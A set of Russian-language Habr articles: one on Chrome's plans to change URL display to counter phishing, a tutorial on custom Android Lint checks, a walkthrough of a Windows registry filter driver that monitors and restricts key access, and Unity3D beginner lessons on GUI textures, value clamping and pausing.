«Люди на самом деле с трудом разбираются в URL, — [сказала](https://habr.com/ru/post/422895/) Адриэн Портер Фелт, технический руководитель команды Chrome. — Эти адреса тяжело читать и непонятно, какой части адреса нужно доверять. В общем, на мой взгляд, URL неправильно передаёт идентичность сайта. А мы хотим перейти к тому, чтобы идентичность веба была понятна всем, чтобы люди знали, чей сайт открывается в браузере, и могли логически рассуждать, можно ли ему доверять. Но это означает большие перемены в том, когда и как Chrome показывает URL. Мы хотим бросить вызов современному интерфейсу URL и подвергнуть его сомнению, продвигаясь по направлению к более подходящему представлению идентичности».
URL как уникальный идентификатор ресурса никуда не денется. Но Google считает, что это скорее машинный идентификатор, а не человекочитаемый адрес. Людям трудно разобраться в сложном синтаксисе URL, чем постоянно пользуются злоумышленники. Они используют URL с поддоменами или адресами, которые отличаются на один символ, или устанавливают бесплатные HTTPS-сертификаты, чтобы получить «зелёный значок» для своих фишинговых сайтов.
> Тест на фишинг
> ==============
>
>
>
> Обычные пользователи не всегда быстро увидят разницу между доменами с похожим написанием, например:
>
>
>
> `example.com/profiles/al
>
> example.com.profiles.al
>
> examp1e.com/profiles/al
>
> example.co/profiles/al
>
> и т.д.`
>
>
>
> Даже в простом **[тесте на фишинг от Google](https://phishingquiz.withgoogle.com/)** далеко не каждый получат максимальную оценку 8 из 8 баллов. Кстати, выбор доменного имени для теста выглядит очень иронично со стороны Google, учитывая, что это тест на фишинг.
TrickURI: эвристики для фильтрации URL в браузере
=================================================
В минувший вторник, руководитель отдела по безопасности интерфейса Chrome (usable security lead) Эмили Старк выступила с [докладом](https://www.usenix.org/conference/enigma2019/presentation/stark) на конференции по безопасности [Enigma](https://www.usenix.org/conference/enigma2019/). Она рассказала о первых шагах Google по «более надёжной идентификации веб-сайтов».
«Мы говорим об изменении способа представления идентичности сайта, — [сказала](https://www.wired.com/story/google-chrome-kill-url-first-steps/) Старк. — Люди должны легко понимать, на каком сайте находятся, чтобы их не могли ввести в заблуждение. Для понимания этого у человека не должно быть глубоких знаний о том, как работает интернет».
Другими словами, браузер должен превратить обычный URL в нечто более чёткое и понятное. В каких-то случаях следует убрать на задний план незначительную часть адреса, а в других наоборот — раскрыть сокращённую ссылку и показать, какой домен за ней стоит.
Сейчас усилия команды Chrome сосредоточены на обнаружении URL-адресов, которые «отклоняются от стандартной практики». Для этого разработан инструмент с открытым исходным кодом под названием [TrickURI](https://github.com/chromium/trickuri). Он работает как прокси и устанавливается на клиентскую машину с рутовым сертификатом, помогая разработчикам проанализировать своё веб-приложение на предмет корректных, чётких и понятных UR. Разработчики получат понимание, как выглядят URL-адреса для пользователей в разных ситуациях.
Отдельно от TrickURI разрабатывается система предупреждений для пользователей Chrome, когда URL-адрес кажется потенциально фишинговым. В отличие от существующего механизма [Safe Browsing](https://safebrowsing.google.com/), новая система будет работать не по «чёрному списку», а на основе неких эвристик…
«Наша эвристика для обнаружения вводящих в заблуждение URL-адресов включает сравнение символов, которые похожи друг на друга, и доменов, которые отличаются друг от друга только небольшим количеством символов, — сказала Старк. — Наша цель — разработать набор эвристических методов, которые не дают злоумышленникам использовать вводящие в заблуждение URL-адреса, и главная задача — не помечать законные домены как подозрительные. Вот почему мы пока очень медленно, постепенно запускаем эту систему как эксперимент».
«URL-адреса очень хорошо работают для определённых людей»
=========================================================
Отказ от стандартного отображения URL — неоднозначная тема. Даже внутри Google у разработчиков нет на этот счёт единого мнения. Любое столь радикальное изменение сложно даётся: даже [отказ от зелёной подсветки HTTPS-сайтов](https://habr.com/ru/company/globalsign/blog/359032/) дался нелегко: пришлось вести переговоры о согласованной политике с разработчиками других браузеров.
И это не последнее изменение, которое собирается сделать Google:
«Ситуация действительно сложная, потому сейчас что URL-адреса очень хорошо работают для определённых людей и в определённых ситуациях, и многие люди любят их», — говорит Старк.
Однако абсолютному большинству простых людей читать и понимать URL далеко не так легко, как опытным пользователям. Поэтому Google твёрдо намерена менять интерфейс URL: «Пока не знаю, как это будет выглядеть, потому что в данное время по этому поводу в команде идёт активная дискуссия, — [говорит](https://www.wired.com/story/google-wants-to-kill-the-url/) Париса Табриз директор по разработке в Chrome. — Знаю одно: что бы мы ни предложили, это будет спорным решением. Это одно из препятствий в работе с очень старой, открытой и распространённой платформой. Изменения будут противоречивыми, какую бы форму они ни приняли. Но важно делать хоть что-то, потому что URL не удовлетворяют никого, это вроде как отстой [they kind of suck]».
Монополия Chrome
================
Независимые эксперты поддерживают инициативу Google по улучшению безопасности в Сети, хотя и выражают некоторые опасения. Проблема в том, что сегодня львиная доля браузеров работает на базе Chromium, так что в руках разработчиков этого браузера сконцентрировалось слишком много власти. Любое их действие почти автоматически становится стандартом для остальных браузеров. Даже Microsoft недавно [официально отказалась](https://habr.com/ru/post/432372/) от собственного движка EdgeHTML в пользу Chromium в десктопной версии браузера.
Пока держится только Mozilla. По поводу решения коллег из Microsoft они [сказали следующее](https://blog.mozilla.org/blog/2018/12/06/goodbye-edge/): «Прощай, EdgeHTML. Приняв Chromium для использования, Microsoft отдаёт в руки Google ещё больший контроль над онлайновой жизнью. Это может прозвучать мелодраматично, но это не так. «Браузерные движки — Chromium от Google и Gecko Quantum от Mozilla — являются внутренними частями программного обеспечения, которые на самом деле определяют многое из того, что каждый из нас может сделать в интернете. Они определяют основные возможности: какой контент мы как потребители можем увидеть, нашу безопасность при просмотре контента и насколько мы контролируем веб-сайты и сервисы. Решение Microsoft даёт Google больше возможностей единолично решать, какие возможности доступны каждому из нас».
Остаётся только надеяться, что в манипуляциях с URL разработчики Chrome не злоупотребят своей властью.
---
[](https://clck.ru/EhoeK) | https://habr.com/ru/post/438758/ | null | ru | null |
# Что такое Android Lint и как он помогает писать поддерживаемый код
Когда разработчик недостаточно осторожен, дела могут пойти весьма плохо. Например, классические упущения разработчика — использование новой версии API, которая не совместима со старым кодом, выполнение действий, которые требуют специальных пользовательских разрешений, пробелы в локализации приложения. И это только некоторые из них.
Кроме того, в Java и Kotlin, как и в любых других языках программирования, есть свои собственные конструкции, которые могут привести к снижению производительности.
Привет, Lint
------------
Мы используем инструмент под названием Lint (или Linter) для избежания таких проблем. Lint — это инструмент для статического анализа кода, который помогает разработчикам изловить потенциальные проблемы ещё до того, как код скомпилируется. Lint выполняет многократные проверки исходного кода, которые могут обнаружить такие проблемы, как неиспользуемые переменные или аргументы функций, упрощение условий, неправильные области видимости, неопределённые переменные или функции, плохо оптимизированный код и т.д. Когда мы говорим о разработке для Android, существуют [сотни проверок Lint](https://android.googlesource.com/platform/tools/base/+/master/lint/libs/lint-checks/src/main/java/com/android/tools/lint/checks), доступных «из коробки».
Но иногда нам нужно найти конкретные проблемы в нашем коде, которые не охватываются этими существующими проверками.
Привет, пользовательские проверки Lint
--------------------------------------
Прежде чем мы начнем кодить, давайте определим нашу цель и посмотрим, как реализовать её шаг за шагом с помощью Lint API. Цель состоит в том, чтобы создать проверку для обнаружения неправильного вызова метода для объекта. Идея этой проверки состоит в том, чтобы определить, является ли метод установки слушателя на View-компонент таким, который будет прерывать несколько последовательных кликов по компоненту, чтобы мы могли избежать открытия одной и той же Activity или обращения к сети несколько раз.
Пользовательские проверки Lint написаны как часть стандартного модуля Java (или Kotlin). Самый простой способ начать — создать простой проект на основе Gradle (это не обязательно должен быть проект Android).
Затем добавим зависимости Lint. В файле `build.gradle` вашего модуля добавьте:
```
compileOnly "com.android.tools.lint:lint-api:$lintVersion"
compileOnly "com.android.tools.lint:lint-checks:$lintVersion"
```
Теперь есть хитрость, о которой я узнал, исследуя эту тему. `lintVersion` должен быть `gradlePluginVersion + 23.0.0`. `gradlePluginVersion` — это переменная, определённая в файле `build.gradle` на уровне проекта. И на данный момент последняя стабильная версия — 3.3.0. Это означает, что `lintVersion` должен быть 26.3.0.
Каждая проверка Линт состоит из 4 частей:
* **Проблема** — проблема в нашем коде, которую мы пытаемся предотвратить. Когда проверка Lint завершается неудачей, то об этом сообщается разработчику.
* **Детектор** — инструмент для поиска проблемы, который предоставляет API Lint.
* **Реализация** — область, в которой может возникнуть проблема (исходный файл, файл XML, скомпилированный код и т.д.).
* **Реестр** — настраиваемый реестр проверок Lint, который будет использоваться вместе с существующим реестром, содержащим предопределённые проверки.
Реализация
----------
Давайте начнём с создания реализации для нашей пользовательской проверки. Каждая реализация состоит из класса, который реализует детектор и область действия.
```
val correctClickListenerImplementation = Implementation(CorrectClickListenerDetector::class.java, Scope.JAVA_FILE_SCOPE)
```
Помните, что `Scope.JAVA_FILE_SCOPE` также будет работать для классов Kotlin.
Проблема
--------
Следующим шагом является использование этой реализации для определения проблемы. Каждая проблема состоит из нескольких частей:
* **ID** — уникальный идентификатор.
* **Описание** — краткое (5-6 слов) изложение проблемы.
* **Объяснение** — полное объяснение проблемы с предложением, как это исправить.
* **Категория** — категория проблемы (производительность, перевод, безопасность и т.д.).
* **Приоритет** — важность проблемы, в диапазоне от 1 до 10, где 10 является самым высоким. Это будет использоваться для сортировки проблем в отчёте, созданном при запуске Lint.
* **Серьёзность** — серьёзность проблемы (фатальная, ошибка, предупреждение, информация или игнорирование).
* **Реализация** — реализация, которая будет использоваться для обнаружения этой проблемы.
```
val ISSUE_CLICK_LISTENER = Issue.create(
id = "UnsafeClickListener",
briefDescription = "Unsafe click listener",
explanation = """"
This check ensures you call click listener that is throttled
instead of a normal one which does not prevent double clicks.
""".trimIndent(),
category = Category.CORRECTNESS,
priority = 6,
severity = Severity.WARNING,
implementation = correctClickListenerImplementation
)
```
Детектор
--------
Lint API предлагает интерфейсы для каждой области, которую вы можете определить в реализации. Каждый из этих интерфейсов предоставляет методы, которые вы можете переопределить и получить доступ к интересующим вас частям кода.
* **UastScanner** — файлы Java или Kotlin (UAST — [Unified Abstract Syntax Tree](https://www.techopedia.com/definition/22431/abstract-syntax-tree-ast) (рус. *унифицированное абстрактное синтаксическое дерево*)).
* **ClassScanner** — скомпилированные файлы (байт-код).
* **BinaryResourceScanner** — двоичные ресурсы, такие как растровые изображения или файлы `res/raw`.
* **ResourceFolderScanner** — папки ресурсов (не конкретные файлы в них).
* **XmlScanner** — XML-файлы.
* **GradleScanner** — Gradle-файлы.
* **OtherFileScanner** — всё остальное.
Кроме того, класс `Detector` является базовым классом, который имеет пустые реализации всех методов, предоставляемых каждым из вышеперечисленных интерфейсов, поэтому вам не нужно реализовывать полный интерфейс в случае, если вам нужен только один метод.
Теперь мы готовы реализовать детектор, который будет проверять правильный вызов метода для объекта.
```
private const val REPORT_MESSAGE = "Use setThrottlingClickListener"
/**
* Пользовательский класс детектора, который расширяет базовый класс детектора и конкретный
* интерфейс в зависимости от того, какую часть кода мы хотим проанализировать.
*/
class CorrectClickListenerDetector : Detector(), Detector.UastScanner {
/**
* Метод, который определяет, какие элементы кода мы хотим проанализировать.
* Существует много похожих методов для различных элементов в коде,
* но для нашего варианта использования мы хотим проанализировать вызовы методов,
* поэтому мы возвращаем только один элемент, представляющий вызовы методов.
*/
override fun getApplicableUastTypes(): List>? {
return listOf>(UCallExpression::class.java)
}
/\*\*
\* Поскольку мы определили применимые типы UAST, мы должны переопределить метод,
\* который создаст обработчик UAST для этих типов. Обработчик требует реализации UElementHandler,
\* который является классом, который определяет ряд различных методов,
\* которые обрабатывают такие элементы, как аннотации, разрывы, циклы, импорт и т.д.
\* В нашем случае мы определили только выражения вызова, поэтому мы переопределяем
\* только этот один метод. Реализация метода довольно проста — он проверяет, имеет ли
\* вызываемый метод имя, которого мы хотим избежать, и сообщает о проблеме в противном случае.
\*/
override fun createUastHandler(context: JavaContext): UElementHandler? {
return object: UElementHandler() {
override fun visitCallExpression(node: UCallExpression) {
if (node.methodName != null && node.methodName?.equals("setOnClickListener", ignoreCase = true) == true) {
context.report(ISSUE\_CLICK\_LISTENER, node, context.getLocation(node), REPORT\_MESSAGE, createFix())
}
}
}
}
/\*\*
\* Метод создаст рекомендуемое исправление, которое можно будет
\* вызвать в IDE, и заменит неправильный метод на правильный.
\*/
private fun createFix(): LintFix {
return fix().replace().text("setOnClickListener").with("setThrottlingClickListener").build()
}
}
```
Реестр
------
Последнее, что нам нужно сделать, это добавить проблемы в наш реестр и сообщить Lint, что существует специальный реестр проблем, который он должен использовать наряду со стандартным.
```
class MyIssueRegistry : IssueRegistry() {
override val issues: List = listOf(ISSUE\_CLICK\_LISTENER)
}
```
В `build.gradle` уровня модуля:
```
jar {
manifest {
attributes("Lint-Registry-v2": "co.infinum.lint.MyIssueRegistry")
}
}
```
где `co.infinum.lint` — это пакет класса `MyIssueRegistry`. Теперь вы можете запустить задачу `jar`, используя скрипт `gradlew`, и библиотека должна появиться в каталоге `build/libs`.
[Здесь](https://gist.github.com/mister11/7ff029daae811859f4003814eb19e6ec) есть ещё один пример пользовательской проверки Lint, где вы можете увидеть, как обрабатывать XML-файлы.
Использование
-------------
Ваша новая проверка Lint готова к использованию в проекте. Если эту проверку можно применить ко всем проектам, вы можете поместить её в папку `~/.android/lint` (вы можете создать её, если она ещё не существует).
Кроме того, вы можете вынести свою проверку в отдельный модуль в своём проекте и включить этот модуль как любую другую зависимость, используя метод `lintChecks`.
Стоит ли оно того?
------------------
Lint — действительно хороший инструмент, который следует использовать каждому разработчику. Возможность обнаружить потенциальные проблемы с вашим кодом на раннем этапе очень полезна. Хотя настраиваемые проверки писать не так просто, в основном из-за сложности API, они определённо стоят того и могут сэкономить много времени и усилий в будущем. | https://habr.com/ru/post/456272/ | null | ru | null |
# Драйвер-фильтр операций в реестре. Практика
Привет, Хабр!
Когда передо мной встала задача написать свой драйвер, осуществляющий мониторинг операций в реестре, я, конечно же, полезла искать на просторах интернета хоть какую-то информацию по этому поводу. Но единственное, что вылезало по запросу «Драйвер-фильтр реестра» — поток статей по написанию драйвера-фильтра (ура), НО все эти статьи касались только фильтра *файловой системы* (печаль).
К сожалению, единственное, что удалось найти — статью 2003 года, код из которой вы никогда не соберете в своей новенькой VS19.
К счастью же, есть прекрасный пример от Microsoft на GitHub ([сразу кидаю ссылочку](https://github.com/microsoft/Windows-driver-samples/tree/master/general/registry/regfltr)), на котором и будет строиться бОльшая часть этого разбора.
Возможно, суперпрограммистам хватит и ссылки на пример, чтобы за 5 минут во всем разобраться. Но есть и новички, студенты, как я, для которых, скорее всего, и будет данная статья. Надеюсь, кому-то это действительно поможет.
Окей. Погнали. Открываем примерчик. Внимание! Не пугаемся большого количества файлов, 80% нам не понадобится.
Мы видим в проекте 2 папки: exe и sys. В первой находится программа, запускающая драйвер, регистрирующая его в системе, а по завершению работы с драйвером, удаляющая его. С нее и начнем.
Открываем regctrl.c
Здесь и находится практически весь необходимый нам код программы.
Сразу идем к функции wmain. Что мы там видим? Загрузка драйвера функцией UtilLoadDriver(util.c), а затем указания по некоторым настройкам:
```
printf("\treg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Debug Print Filter\" /v IHVDRIVER /t REG_DWORD /d 0x8\n\n");
```
Да, необходимо в реестр в указанную папку занести параметр (можно через cmd, а можно ручками). Это нужно для того, чтобы мы могли видеть больше сообщений от драйвера
*Кстати говоря, не забудьте скачать приложение, которое позволяет вам просматривать отладочную информацию, я пользовалась DbgView.*
Далее мы видим 2 функции: DoKernelModeSamples и DoUserModeSamples — они нужны для демонстрации работы драйвера. Вот первая, например, отправляет драйверу IOCL запрос функцией DeviceIoControl, драйвер в свою очередь по второму параметру IOCTL\_DO\_KERNELMODE\_SAMPLES запустит необходимые функции.
Из описания функции DeviceIoControl мы видим, что она может передавать драйверу буфер и также принимать его. Это нам понадобится в дальнейшем. А пока в этом файле ничего любопытного для нас нет.
Перейдем в папку sys, файл driver.c
Начнем с функции DriverEntry. Там драйвер выводит какую-то отладочную информацию, затем функцией IoCreateDeviceSecure создает именованный объект устройства и применяет указанные параметры безопасности, интересный же кусочек ждет нас дальше:
```
DriverObject->MajorFunction[IRP_MJ_CREATE] = DeviceCreate;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = DeviceClose;
DriverObject->MajorFunction[IRP_MJ_CLEANUP] = DeviceCleanup;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceControl;
DriverObject->DriverUnload = DeviceUnload;
```
В скобках заключены основные коды функций для IRP. То есть это те типы пакетов, которые будут удостаиваться внимания нашего драйвера. После знака "=" указывается функция, которая будет обрабатывать поступивший пакет. Дальше опять-таки мало интересного. НО. Сюда необходимо будет добавить одну немаловажную функцию. Запомните это место, мы сюда еще вернемся
Итак, если с DeviceCreate, DeviceClose, DeviceCleanup и DeviceUnload все очевидно, то что же происходит в DeviceControl? А туда и прилетит запрос нашей программы, который мы отправляли функцией DeviceIoControl. Хватаем из стека запрос и изымаем (в данном примере) как раз тот второй параметр, о котором я говорила:
```
IrpStack = IoGetCurrentIrpStackLocation(Irp);
Ioctl = IrpStack->Parameters.DeviceIoControl.IoControlCode;
```
Основываясь на IoControlCode, драйвер отправится выполнять ту или иную функцию. Советую для понимания рассмотреть, например, файл pre.c и разобраться, что там происходит.
И закончим рассмотрение примера последним важным моментом — конечно же, функция Callback.
Сюда и будут прилетать извещения об операциях, происходящих в реестре. Помните место, которое я просила запомнить? Оно чуть выше. Вот там бы нам оставить CmRegisterCallbackEx. Они и будет объявлять функцию Callback как «мешок», в который полетят IRP пакеты на обработку. CallbackCtx->Altitude будет определять уровень нашего драйвера (мы же не одни следим за реестром), то есть на какой высоте наш драйвер будет перехватывать пакеты и что-то с ними делать (Опять же в pre.c довольно понятно, что и как происходит: Регистрируем функцию, что-то делаем с реестром, все фиксируется, выводится информация драйвером и затем делаем обратное действие — CmUnRegisterCallback — чтобы нам больше ничего не прилетало).
Ах, да. Не паникуйте, когда в DbgView обнаружите нескончаемый поток сообщений от драйвера — в реестре постоянно какие-то тусовки.
Собственно, из аргументов функции CallBack можно извлечь всю необходимую информацию — и операцию, совершаемую над каким-то ключом (это как раз есть в коде — NotifyClass), и имя ключа
А теперь отойдем от данного примера. Рассмотрим, что можно интересного сделать.
Такая задачка: пусть у нас в каком-то файле перечислены названия программ и ключей реестра, там же мы прописываем права доступа программы к определенному ключу (ограничимся простым: имеет/не имеет доступ).
Наша программа (та, что в папке exe) будет считывать конфигурацию и отправлять драйверу с помощью IOCL запроса. То есть в функции DeviceIoControl в качестве третьего аргумента и будем передавать буфер. Передавать и оформлять конфигурацию можно, как вам удобно.
Драйвер получает эти права и сохраняет себе в какой-нибудь глобальный буфер. Входной массив можно получить таким образом:
```
in_buf = Irp->AssociatedIrp.SystemBuffer;
```
Теперь попробуем запретить какой-нибудь программе доступ к ключу
Идем в функцию Callback.
*Давайте обозначим имя нашей программы и ключа, к которой у нее нет доступа соответственно MyProg и MyKey.*
Нам необходимо узнать, какая программа в данный момент попыталась обратиться к ключу и сравнить ее название с теми, которые у нас прописаны в конфигурации. Имя процесса можно получить таким образом:
```
PUNICODE_STRING processName = NULL;
GetProcessImageName(PsGetCurrentProcess(), &processName);
if (wcsstr(processName->Buffer, MyProg) != NULL) {
<блаблабла>}
```
Функция GetProcessImageName не библиотечная (а интернечная), ее различные вариации можно встретить на многих форумах. Оставлю ее здесь:
```
typedef NTSTATUS(*QUERY_INFO_PROCESS) (
__in HANDLE ProcessHandle,
__in PROCESSINFOCLASS ProcessInformationClass,
__out_bcount(ProcessInformationLength) PVOID ProcessInformation,
__in ULONG ProcessInformationLength,
__out_opt PULONG ReturnLength
);
QUERY_INFO_PROCESS ZwQueryInformationProcess;
NTSTATUS
GetProcessImageName(
PEPROCESS eProcess,
PUNICODE_STRING* ProcessImageName
)
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
ULONG returnedLength;
HANDLE hProcess = NULL;
PAGED_CODE(); // this eliminates the possibility of the IDLE Thread/Process
if (eProcess == NULL)
{
return STATUS_INVALID_PARAMETER_1;
}
status = ObOpenObjectByPointer(eProcess,
0, NULL, 0, 0, KernelMode, &hProcess);
if (!NT_SUCCESS(status))
{
DbgPrint("ObOpenObjectByPointer Failed: %08x\n", status);
return status;
}
if (ZwQueryInformationProcess == NULL)
{
UNICODE_STRING routineName = RTL_CONSTANT_STRING(L"ZwQueryInformationProcess");
ZwQueryInformationProcess =
(QUERY_INFO_PROCESS)MmGetSystemRoutineAddress(&routineName);
if (ZwQueryInformationProcess == NULL)
{
DbgPrint("Cannot resolve ZwQueryInformationProcess\n");
status = STATUS_UNSUCCESSFUL;
goto cleanUp;
}
}
/* Query the actual size of the process path */
status = ZwQueryInformationProcess(hProcess,
ProcessImageFileName,
NULL, // buffer
0, // buffer size
&returnedLength);
if (STATUS_INFO_LENGTH_MISMATCH != status) {
DbgPrint("ZwQueryInformationProcess status = %x\n", status);
goto cleanUp;
}
*ProcessImageName = ExAllocatePoolWithTag(NonPagedPoolNx, returnedLength, '2gat');
if (ProcessImageName == NULL)
{
status = STATUS_INSUFFICIENT_RESOURCES;
goto cleanUp;
}
/* Retrieve the process path from the handle to the process */
status = ZwQueryInformationProcess(hProcess,
ProcessImageFileName,
*ProcessImageName,
returnedLength,
&returnedLength);
if (!NT_SUCCESS(status)) ExFreePoolWithTag(*ProcessImageName, '2gat');
cleanUp:
ZwClose(hProcess);
return status;
}
```
Мы обнаружили, что сейчас именно MyProg обращается к реестру. Теперь необходимо узнать, к какому ключу.
Из второго аргумента вынимаем информацию о ключе, к которому производится доступ
```
REG_PRE_OPEN_KEY_INFORMATION* pRegPreCreateKey = (REG_PRE_OPEN_KEY_INFORMATION*)Argument2;
if (pRegPreCreateKey != NULL)
{
if (wcscmp(pRegPreCreateKey->CompleteName->Buffer, MyKey) == 0)
{
if (){//можно
return STATUS_SUCCESS;
}
else {//нельзя
return STATUS_ACCESS_DENIED;
}
}
}
```
Просто возвращаем значение, указывающее на запрет. И все.
**Эта статья не нацелена на то, чтобы каждый прочитавший после пошел пилить супердрайверы.**
Это, так скажем, ввод в курс дела :) Так как именно его обычно очень не хватает, когда только начинаешь разбираться. | https://habr.com/ru/post/485606/ | null | ru | null |
# Unity3d. Уроки от Unity 3D Student (B25-B28)
Всем привет. Это заключительная серия базовых уроков по Unity 3D от сайта [Unity3DStudent](http://www.unity3dstudent.com/). ~~Далее будут еще два урока среднего уровня.~~ *Upd:* планы изменились, этих уроков не будет, так как второй урок (по анимации) уже довольно сильно устарел, а выкладывать перевод только одного урока не вижу смысла. Пусть он останется на самостоятельное изучение =)
Ссылки на предыдущие уроки:
* [Уроки B00-B03](http://habrahabr.ru/post/141362/)
* [Уроки B04-B08](http://habrahabr.ru/post/142845/)
* [Уроки B09-B12](http://habrahabr.ru/post/145565/)
* [Уроки B13-B16](http://habrahabr.ru/post/149721/)
* [Уроки B17-B20](http://habrahabr.ru/post/219193/)
* [Уроки B21-B24](http://habrahabr.ru/post/221545/)
#### Базовый урок 25 — Объект GUI Texture и события мыши
---
*В уроке рассказывается о создании простой кнопки, с использованием GUI Texture и событий мыши.*
Если вы хотите создать простой пользовательский интерфейс, то можно использовать объект *GUI Texture*. Рассмотрим этот объект на примере создания кнопки. В первую очередь нам понадобятся две текстуры: для кнопки в обычном состоянии и для кнопки в состоянии, когда на нее наведен курсор мыши. Подготовим соответствующие файлы и добавим их в проект.
Теперь кликнем по файлу *button\_normal*, а затем создадим *GUI Texture* из меню *GameObject — Create Other — GUI Texture*. На сцене появиться новый объект, на который будет сразу же наложена соответствующая текстура нормального состояния кнопки.
---
Созданный объект состоит из двух компонентов: *Transform* и *GUITexture*. Обратите внимание, что изменение параметров компонента *Transform* работает несколько иначе по сравнению с другими объектами сцены. В параметрах *Position* и *Scale* обрабатываются только изменения по осям *X* и *Y*, изменения по оси *Z* игнорируются. Изменения параметра *Rotation* игнорируется полностью. Кроме того, в параметре *Position* значения указываются не в мировых, а в экранных координатах, где 0,0 — левый нижний угол экрана, а 1,1 — правый верхний угол экрана. По-умолчанию выставляются значения 0.5,0.5, т.е. центр экрана. В компоненте *GUITexture* можно задать текстуру, цвет, дополнительное смещение от краев экрана и границу. Поскольку мы выбрали конкретную текстуру перед созданием объекта, Unity сама задала эти значения. При желании, их можно изменить.
Итак, у нас есть кнопка в центре экрана, которая пока ничего не делает. Давайте оживим ее при помощи следующего скрипта:
Код на JavaScript:
```
var normalTex : Texture2D;
var hoverTex : Texture2D;
function OnMouseEnter () {
guiTexture.texture = hoverTex;
}
function OnMouseExit(){
guiTexture.texture = normalTex;
}
function OnMouseDown(){
Debug.Log("clicked");
}
```
Код на C#:
```
public Texture2D normalTex;
public Texture2D hoverTex;
private void OnMouseEnter()
{
guiTexture.texture = hoverTex;
}
private void OnMouseExit()
{
guiTexture.texture = normalTex;
}
private void OnMouseDown()
{
Debug.Log("clicked");
}
```
Мы завели переменные *normalTex* и *hoverTex* для хранения, соответственно, текстуры нормального состояния кнопки и текстуры кнопки под курсором мыши. Затем обрабатываем три метода: *OnMouseEnter* (наведение курсора мышки на объект), *OnMouseExit* (выход курсора мышки из объекта) и *OnMouseDown* (клик мышкой по объекту). Эти методы вызываются после соответствующих событий мышки, если объект, к которому присоединен скрипт, унаследован от класса *GUIElement* или *Collider*. В методах вхождения/выхода курсора мышки мы устанавливаем объекту соответствующую текстуру, в методе клика просто пишем сообщение в консоль.
Присоединяем скрипт к нашей кнопке, заносим файлы текстур в соответствующие поля:
Запускаем сцену и тестируем кнопку. Кнопка меняет текстуру при наведении курсора мышки, при клике выводит сообщение «clicked» в консоль и меняет текстуру обратно при выводе курсора.
[Ссылка на оригинальный урок](http://www.unity3dstudent.com/2010/10/beginner-b25-gui-texture-and-mouse-events/)
##### Дополнительные материалы:
[Ссылка на документацию компонента GUI Texture](http://docs.unity3d.com/Documentation/Components/class-GuiTexture.html)
[Ссылка на документацию метода OnMouseEnter](http://docs.unity3d.com/Documentation/ScriptReference/MonoBehaviour.OnMouseEnter.html)
[Ссылка на документацию метода OnMouseExit](http://docs.unity3d.com/Documentation/ScriptReference/MonoBehaviour.OnMouseExit.html)
[Ссылка на документацию метода OnMouseDown](http://docs.unity3d.com/Documentation/ScriptReference/MonoBehaviour.OnMouseDown.html)
#### Базовый урок 26 — Использование метода Mathf.Clamp для ограничения значений
---
*В уроке показано, как ограничить значения в определенном диапазоне с помощью метода Mathf.Clamp.*
При разработке игровой механики иногда нужно ограничить некое значение в пределах заданного интервала значений. Например, вы пишете какую-нибудь простую космическую стрелялку и хотите, чтобы управляемый игроком корабль не вылетал за пределы границ экрана. В этом нам поможет метод *Clamp* класса *Mathf*.
Рассмотрим использование этого метода на сцене, где у нас есть камера, источник света и простой кубик *Cube*.
Реализуем возможность перемещения кубика по оси *X*, причем перемещаться можно будет только в пределах от *Х* = -10 до *Х* = 10. Для этого напишем следующий скрипт и добавим его к кубику:
Код на JavaScript:
```
function Update () {
var xMove : float = Input.GetAxis("Horizontal") * Time.deltaTime * 20;
transform.Translate(Vector3(xMove,0,0));
transform.position.x = Mathf.Clamp(transform.position.x, -10, 10);
}
```
Код на C#:
```
void Update()
{
float xMove = Input.GetAxis("Horizontal") * Time.deltaTime * 20;
transform.Translate(new Vector3(xMove,0,0));
transform.position =
new Vector3(Mathf.Clamp(transform.position.x, -10, 10), transform.position.y, transform.position.z);
}
```
Мы перемещаем кубик с использованием значения виртуальной оси *Х* и метода *Transform.Translate*, а затем ограничиваем позицию кубика по оси *Х*, вызывая метод *Mathf.Clamp*. Метод принимает три параметра: ограничиваемое значение, минимальную границу диапазона и максимальную границу диапазона.
Запускаем сцену, нажимаем на клавиатуре A/D или стрелки влево-вправо. Кубик перемещается, причем переместиться за границы диапазона *Х* = -10..10 он не может *(чтобы в этом убедиться, можно добавить в конец метода Update вывод в консоль значения позиции по оси Х — Debug.Log(transform.position.x); — прим. переводчика)*.
[Ссылка на оригинальный урок](http://www.unity3dstudent.com/2010/11/beginner-b26-using-mathf-clamp-to-restrict-values/)
##### Дополнительные материалы:
[Ссылка на документацию метода Mathf.Clamp](http://docs.unity3d.com/Documentation/ScriptReference/Mathf.Clamp.html)
#### Базовый урок 27 — Реализация приостановки (паузы) в игре при помощи Time.timeScale
---
*В уроке рассматривается использование свойства Time.timeScale для приостановки/возобновления игры.*
Разрабатывая игру, вы наверняка захотите дать игрокам возможность поставить ее на паузу, а потом возобновить. Для этого нужно всего лишь немного поработать со статическим свойством *timeScale* класса *Time*.
Для примера, у нас есть сцена, где по полу скачет небольшой шарик, и мы хотим приостанавливать/возобновлять его движение. Сперва нам нужен объект, на который мы «повесим» скрипт реализации паузы. Для этого можно создать пустой игровой объект (меню *GameObject — Create Empty*), разместить в любом удобном месте и назвать его, например, *Manager*.
Теперь создадим новый скрипт и напишем в нем следующее:
Код на JavaScript:
```
var paused : boolean = false;
function Update () {
if(Input.GetButtonUp("Jump")){
if(!paused){
Time.timeScale = 0;
paused=true;
}else{
Time.timeScale = 1;
paused=false;
}
}
}
```
Код на C#:
```
bool paused = false;
private void Update()
{
if(Input.GetButtonUp("Jump"))
{
if(!paused)
{
Time.timeScale = 0;
paused=true;
}
else
{
Time.timeScale = 1;
paused=false;
}
}
}
```
В скрипте мы завели переменную *paused* для контроля, включена пауза или нет. Включение/выключение паузы мы делаем в методе *Update* по нажатию кнопки «Jump» — при стандартных настройках ввода это клавиша пробела. Далее мы проверяем, выключена ли пауза? Если это так — присваиваем свойству *Time.timeScale* значение *0*, что остановит течение времени в игре; и обозначаем, что пауза включена — *paused=true*. В противном случае — присваиваем *Time.timeScale* значение 1 и выключаем паузу. Свойству *Time.timeScale* также можно устанавливать значения между 0 и 1 и больше 1, что будет, соответственно, замедлять и ускорять течение времени, если вам это нужно.
Добавляем скрипт к объекту *Manager*, запускаем сцену. В любой момент нажимаем на пробел — шарик останавливается. Повторное нажатие возвращает приостановленное движение шарика.
[Ссылка на оригинальный урок](http://www.unity3dstudent.com/2010/12/beginner-b27-pause-using-timescale/)
##### Дополнительные материалы:
